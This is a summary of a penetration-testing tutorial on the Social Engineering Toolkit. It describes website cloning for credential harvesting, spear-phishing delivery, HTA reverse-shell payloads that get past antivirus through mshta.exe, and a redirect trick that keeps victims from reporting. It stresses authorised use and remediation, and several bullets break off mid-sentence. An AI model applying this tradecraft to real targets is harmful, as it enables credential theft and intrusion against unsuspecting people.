SET Social Engineering Toolkit — Spear-Phishing, Credential Harvesting & Payloads | Kali Linux Day 26

This article is a detailed technical guide to the Social Engineering Toolkit (SET), a Python-based framework used in authorised penetration testing to automate phishing and credential harvesting attacks. It covers SET's core components—credential harvesting through website cloning, spear-phishing email delivery, and payload generation—and explains why social engineering attacks bypass technical controls and succeed through human vulnerability. The material matters because it demonstrates to security professionals and their clients that even robust technical defences (DMARC, SPF, endpoint protection) fail when attackers target the human layer, making security awareness and proper incident response critical.

• Credential Harvester Cloning MechanismSET scrapes the complete HTML of a target login page and hosts a pixel-perfect clone on the attacker's web server, modifying only the form action to capture POST data. When a victim submits credentials to the cloned page, SET captures all form fields (username, password, and any other data), displays them in the terminal with "WE GOT A HIT!" notification, saves them to a timestamped report in /root/.set/reports/, and simultaneously redirects the victim to the real login page. This redirect is critical—the victim experiences only a single failed login followed by success on retry, preventing th
• Website Cloning Without Technical BypassSET does not bypass HTTPS or any cryptographic control. It functions by hosting an HTTP clone page, meaning the victim must navigate directly to the attacker's IP address or a domain controlled by the attacker—typically delivered via spear-phishing email with a lookalike domain name. The article emphasises that technical controls like DMARC, URL filtering, and endpoint protection are not bypassed but rather avoided: the email lands because the domain is new and lacks reputation, and the URL filters have no record against it. This distinction—avoiding rather than breaking technical controls—is
• Spear-Phishing Email Delivery IntegrationSET's Spear-Phishing Email Vector constructs malicious emails with embedded links to credential harvesters or attached payloads, with configurable sender address, subject, and body text. The module can send via local sendmail, SMTP (configured in /etc/setoolkit/set.config), or Gmail. The article emphasises that pretext design is separate from tool execution: the technical email delivery works only if the social engineering narrative is convincing. A mass email attack sends the link to multiple targets, but success depends on pretext selection (password expiry, MFA enrollment, IT survey) chosen
• HTA Payload Execution for Reverse ShellsSET can generate Windows reverse shell payloads (basic cmd.exe, Meterpreter, PowerShell, or HTTPS C2) and deliver them via HTML Application (.hta) files. HTA payloads execute through mshta.exe, a signed Windows binary, which allows many to bypass antivirus detection since the binary itself is trusted. SET auto-configures a Metasploit multi/handler listener waiting on the specified LHOST and LPORT. However, the article notes that generating the payload is trivial; the hard problem is the delivery pretext—making a victim run an unknown executable requires a believable filename and urgency narrat
• Redirect Strategy to Prevent Early DetectionAfter credential capture, SET can redirect victims to various destinations. The article warns that redirecting to a blank page or error immediately alerts the victim to compromise, causing them to report the attack to IT and terminating the campaign. The recommended strategy is redirecting to the real login page with a message such as "Session expired, please log in again," which causes victims to assume their session dropped naturally and log in normally without suspicion or reporting. This single design choice determines whether a multi-week campaign runs undetected or is discovered within m
• Pretext Design as Campaign FoundationThe article presents a structured pretext design exercise requiring selection of sender address and domain (with consideration of SPF/DKIM gaps), choice of target login page based on credential value (Office 365 vs. VPN vs. HR system), and selection of urgency narrative. Exercise 1 explicitly separates the pretext design phase from tool execution, emphasising that running SET without a convincing pretext is ineffective. The article states that in 200-person red team scenario, choosing a pretext like "password expiry" or "new MFA enrollment" for IT staff generates higher click rates than generi
• Reporting Metrics for Business ImpactThe article provides a sample finding structure that reports engagement metrics (emails sent, links clicked percentage, credentials captured, admin accounts compromised, time to first credential) alongside severity ratings (high, CVSS 8.1 for credential harvesting via phishing with user interaction). Remediation recommendations are separated into technical (DMARC enforcement, email sandboxing, MFA), process (verify-before-click culture, phone verification for sensitive requests), and training (annual phishing simulation with immediate feedback). This structure communicates risk to non-technica
• Authorization and Legal BoundaryThe article repeatedly emphasises that SET is designed exclusively for authorised penetration testing engagements—every exercise includes the disclaimer "Authorised Engagements Only" and "Phishing real targets without written authorisation is illegal." The distinction between using SET (authorised) and criminal phishing (using identical techniques without permission) is solely based on written consent from the target organisation. The technical mechanism is identical; only the legal status differs. All exercises target the user's own lab environment (DVWA on localhost) or explicitly authorised

Bottom line: SET demonstrates that technical security controls do not fail against social engineering attacks—they are bypassed by avoiding them entirely through convincing pretext, lookalike domains, and pixel-perfect website cloning. The critical lesson for practitioners is that the human layer is the decisive vulnerability, and defending it requires not patches but training, process discipline, and metered access controls that remain effective even when credentials are compromised.